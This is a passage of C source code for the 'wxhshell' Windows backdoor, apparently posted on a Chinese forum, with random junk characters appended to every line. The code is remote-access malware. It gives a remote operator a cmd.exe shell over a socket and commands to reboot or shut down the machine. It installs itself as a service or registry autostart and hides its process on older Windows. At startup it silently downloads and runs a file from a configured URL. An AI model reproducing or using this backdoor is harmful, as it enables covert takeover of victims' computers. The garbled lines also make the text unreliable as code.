      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '%YE#1*gH  
    break; 8s %YudW  
  } >*Ej2ex  
  // 安装 WpRM|"CF  
  case 'i': { ^F&j;8U  
    if(Install()) e0j4t-lL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); whm| "}x)u  
    else amQTPNI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n~0MhE0H  
    break; YOUB%N9+  
    } = |2F?  
  // 卸载 X#zp,7j?  
  case 'r': { 0& ?L%Y  
    if(Uninstall()) M27H{} v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4bVp+  
    else qh6rMqq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }0iHf'~DH*  
    break; Xz9[0;Q  
    } >?6HUUQ  
  // 显示 wxhshell 所在路径 JpxQS~VX  
  case 'p': { GRaU]Z]ck  
    char svExeFile[MAX_PATH]; g's!\kr  
    strcpy(svExeFile,"\n\r"); ~Yc!~Rz  
      strcat(svExeFile,ExeFile); D4uAwmc  
        send(wsh,svExeFile,strlen(svExeFile),0);  V^rL  
    break; 5=%KK3  
    } %?Q&a ]  
  // 重启 9ExI,  
  case 'b': { \L`x![$~q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EY:H\4)  
    if(Boot(REBOOT)) p}5413z5Z=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SpYmgL?wJ  
    else { FZIC |uz  
    closesocket(wsh); N;k)>  
    ExitThread(0); <lLJf8OK  
    } M?GkHJ%!  
    break; `zB bB^\`W  
    } /)kx`G_  
  // 关机 PB!XApTb  
  case 'd': { y,bD i9*|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vVrM[0*c  
    if(Boot(SHUTDOWN)) )lz~Rt;1i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v`]y:Ku|wR  
    else { >Bu9D  
    closesocket(wsh); \9uK^oS  
    ExitThread(0); uPjp5;V  
    } >#Xz~xI/I  
    break; Ob}XeN(L3  
    } L u'<4 R  
  // 获取shell B*w]yL(  
  case 's': { ),[@NK&=  
    CmdShell(wsh); `xx3JQv[  
    closesocket(wsh); &]shBvzl^  
    ExitThread(0); (E,Ibz2G:e  
    break; 7upWM~H^  
  } yz5! >|EB  
  // 退出 +\)Y,@cw  
  case 'x': { =Y5m% ,Bq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -GM"gkz  
    CloseIt(wsh); Tj{3#?]Ho  
    break; .wyuB;:  
    } $G5:/,Q  
  // 离开 .U44p*I  
  case 'q': { S#r|?GYua  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x 4sIZe+  
    closesocket(wsh); 0L1sF'ZN  
    WSACleanup(); )!caOGvhJ  
    exit(1); @65xn)CD{  
    break; sriDta?Cz  
        } M ?AX:0  
  } /oLY\>pD  
  } ^E:-Uy  
.N@+Ms3  
  // 提示信息 /y6f~F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cza_LO(  
} 2eA.04F  
  } 3D1y^I  
ts}OE  
  return; GZKYRPg  
} Yyr9Kj:  
-A=3W3:C  
// shell模块句柄 "v( pluN|  
int CmdShell(SOCKET sock) V aG Qre  
{ ICr.Gwe3_  
STARTUPINFO si; 6}!1a?X  
ZeroMemory(&si,sizeof(si)); zSU,le  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oif|X7H;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4*Gv0#dga  
PROCESS_INFORMATION ProcessInfo; 41s\^'^&  
char cmdline[]="cmd"; v Y0ESc{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8DY:a['-d  
  return 0; pek=!nZ  
} 4d}=g]P  
/f Q}Ls\  
// 自身启动模式 RyG6_ G}  
int StartFromService(void) B]: |;d  
{ ?6hd(^  
typedef struct q\|RI;W  
{ x[&<e<6  
  DWORD ExitStatus; *Uj;a.  
  DWORD PebBaseAddress; k0#s{<I]E  
  DWORD AffinityMask; h]+;"v6 /  
  DWORD BasePriority; LHXR7Fjc  
  ULONG UniqueProcessId; &5${k'  
  ULONG InheritedFromUniqueProcessId; C"B'Dj  
}   PROCESS_BASIC_INFORMATION; x[Hx.G}5+  
i$Kx@,O8t  
PROCNTQSIP NtQueryInformationProcess; <hiv8/)?  
B RskxyL&,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;1 {=t!z=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #;W4$ q  
}+G5i_a  
  HANDLE             hProcess; ~ {yy{  
  PROCESS_BASIC_INFORMATION pbi; ]Y!Fz<-;P  
%7P]:G+Y\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J:gC1g^  
  if(NULL == hInst ) return 0; $I>]61l%  
$/tj<++W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eq(h {*rC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9H/R@i[E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v}a {nU'  
~:o$}`mW  
  if (!NtQueryInformationProcess) return 0; 'SoBB:  
5`+9<8V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >1;jBx>Qy%  
  if(!hProcess) return 0; ]+3M\ ib  
C;K+ITlJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7pQ 5`;P  
6 U[VoUU   
  CloseHandle(hProcess); \k`9s q  
unew XHA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bhIShk[  
if(hProcess==NULL) return 0; g?Nk-cg  
#asi%&3pP  
HMODULE hMod; }2"W0ZdWD  
char procName[255]; R=D}([pi  
unsigned long cbNeeded; oH?:(S(  
u)I\R\N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PpBptsb^|J  
EPH" 5$8  
  CloseHandle(hProcess); <!XunXh  
+6P[TqR  
if(strstr(procName,"services")) return 1; // 以服务启动 ab%I&B<b  
v;9(FLtL  
  return 0; // 注册表启动 o{fYoBgr  
} U5H%wA['m  
TK[[6IB  
// 主模块 njg0MZBqA  
int StartWxhshell(LPSTR lpCmdLine) zGyRzxFN  
{ C$~ly=@  
  SOCKET wsl; 1Q!^*D  
BOOL val=TRUE; 2EZ7Vdz2  
  int port=0; !#W>x49}  
  struct sockaddr_in door; 0F%8d@Y2  
d=%NFCIV  
  if(wscfg.ws_autoins) Install(); `iM%R3&  
0m4M@94  
port=atoi(lpCmdLine); %_4#WI  
kk6 !krZ  
if(port<=0) port=wscfg.ws_port; M!Ao!D[  
0#eb] c   
  WSADATA data; OUF%DMl4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gj @9(dk%  
Ys}^ hy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WPNw")t!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SJa>!]U'xI  
  door.sin_family = AF_INET; Z'y&11  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r(uo-/7z  
  door.sin_port = htons(port); oxN5:)  
N<a %l J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K-#d1+P+  
closesocket(wsl); /KF@Un_Ow  
return 1; dhLR#m30T  
} J8r8#Zz  
=RD>#'sUK  
  if(listen(wsl,2) == INVALID_SOCKET) { BA1uo0S `S  
closesocket(wsl); }*QK;#NEc  
return 1; J( XDwt  
} jQ3dLctn  
  Wxhshell(wsl); G"J nQ  
  WSACleanup(); .\ fpjQW  
?{aJ#w   
return 0; rC_1f3A  
ou~$XZ7oi  
} >4Tk#+%Jj  
DGb1_2ZQ  
// 以NT服务方式启动 tJ K58m$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lW-h @  
{ OzrIiahz/  
DWORD   status = 0; u%z'.#r;a  
  DWORD   specificError = 0xfffffff; (XmmbAbVom  
`G\Gk|4; 2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0{z8pNrc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QJ(%rvn3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =LV-n  
  serviceStatus.dwWin32ExitCode     = 0; YCltS!k  
  serviceStatus.dwServiceSpecificExitCode = 0; d[,Rgdd@I  
  serviceStatus.dwCheckPoint       = 0; Sv/P:r _  
  serviceStatus.dwWaitHint       = 0; K'J_AMBL  
I@6+AU~,6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZwLr>?0$ p  
  if (hServiceStatusHandle==0) return; pMHl<HH  
\zg R]|  
status = GetLastError(); eg}g} a  
  if (status!=NO_ERROR) Z+y'w#MZL  
{ a dr\l5pWQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iD|~$<9o  
    serviceStatus.dwCheckPoint       = 0; '%ilF1#  
    serviceStatus.dwWaitHint       = 0; bS~Y_]B  
    serviceStatus.dwWin32ExitCode     = status; b:hta\%/2  
    serviceStatus.dwServiceSpecificExitCode = specificError; ydO+=R0M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _xePh  
    return; 1q-;+Pd;  
  } qK d ="PR}  
o [V8h @K)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }vU/]0@,E  
  serviceStatus.dwCheckPoint       = 0; n8;p]{  
  serviceStatus.dwWaitHint       = 0;  EG`AkWy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cb]X27uww  
} q#mL-3OQ  
57{T p:|  
// 处理NT服务事件,比如:启动、停止 8b]4uI <  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =-:%~n g  
{ u3O@ccJ;  
switch(fdwControl)  mih}?oi  
{ Kq Jln)7  
case SERVICE_CONTROL_STOP: Lr:n  
  serviceStatus.dwWin32ExitCode = 0; B//*hH >F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z/4<x?}+hE  
  serviceStatus.dwCheckPoint   = 0; )SJM:E  
  serviceStatus.dwWaitHint     = 0; 3 5.&!4}  
  { G-9i   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1] =X  
  } N~=PecQ  
  return; 0*5Jq#5  
case SERVICE_CONTROL_PAUSE: "o`?-bQ:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2yn"K|  
  break; E-C]<{`O  
case SERVICE_CONTROL_CONTINUE: %M1l[\N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P7=`P  
  break; (["kbPma  
case SERVICE_CONTROL_INTERROGATE: pu/5#[MC)^  
  break; &gr 8;O:0  
}; "A+7G5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o[_,r]%+D  
} mm +V*L{x  
U&])ow):  
// 标准应用程序主函数 &t<g K D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^uUA41o`eJ  
{ }W:Z>vam+  
8,IF%Z+LI  
// 获取操作系统版本 e16H @  
OsIsNt=GetOsVer(); qqZ4K:oC,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tT)s,R%  
-~8PI2  
  // 从命令行安装 K% FK  
  if(strpbrk(lpCmdLine,"iI")) Install(); o"X..m<  
pp(09y`]  
  // 下载执行文件 =Mwuhk|*  
if(wscfg.ws_downexe) { q:)PfP+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KZ[TW,Gw  
  WinExec(wscfg.ws_filenam,SW_HIDE); hmkb!)  
} ZKEoU!  
2! ,ndLA  
if(!OsIsNt) { 9Jh&C5\\  
// 如果时win9x,隐藏进程并且设置为注册表启动 #6|ve?`I  
HideProc(); E3j`e>Yz  
StartWxhshell(lpCmdLine); ?sdSi--  
} tDL.+6/  
else fK=0?]s}I  
  if(StartFromService()) 2c[HA  
  // 以服务方式启动 :tO4LEb  
  StartServiceCtrlDispatcher(DispatchTable); zuN(~>YH  
else %/e'6g<  
  // 普通方式启动 AYY(<b  
  StartWxhshell(lpCmdLine); ps2j]g  
bR"4:b>K  
return 0; :]F66dh+  
}
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只看该作者 1 发表于: 2006-10-10
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